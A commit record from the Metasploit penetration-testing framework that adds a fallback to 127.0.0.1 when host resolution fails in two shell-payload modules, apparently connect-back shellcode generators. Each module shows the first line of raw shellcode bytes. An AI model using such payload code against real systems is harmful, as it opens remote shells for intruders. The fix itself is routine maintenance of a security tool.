Fixes #6308: Fall back to 127.0.0.1 when SocketError is raised from the resolver

This commit is contained in:
Joshua J. Drake 2012-02-25 13:00:48 -06:00
parent eccd62717e
commit 65ed4bfa8b
2 changed files with 12 additions and 2 deletions

View File

@ -36,7 +36,12 @@ module Metasploit3
def generate
port = (datastore['RPORT'] || '0').to_i
host = nil
begin
host = Rex::Socket.resolv_nbo_i(datastore['RHOST'] || '127.0.0.1')
rescue SocketError
host = Rex::Socket.resolv_nbo_i('127.0.0.1')
end
payload =
"\x9c\x2b\xa0\x07\x94\x1a\xc0\x0b\x92\x10\x20\x01\x90\x10\x20\x02" +

View File

@ -36,7 +36,12 @@ module Metasploit3
def generate
port = (datastore['LPORT'] || '0').to_i
host = nil
begin
host = Rex::Socket.resolv_nbo_i(datastore['LHOST'] || '127.0.0.1')
rescue SocketError
host = Rex::Socket.resolv_nbo_i('127.0.0.1')
end
payload =
"\x9c\x2b\xa0\x07\x98\x10\x20\x01\x96\x1a\xc0\x0b\x94\x1a\xc0\x0b" +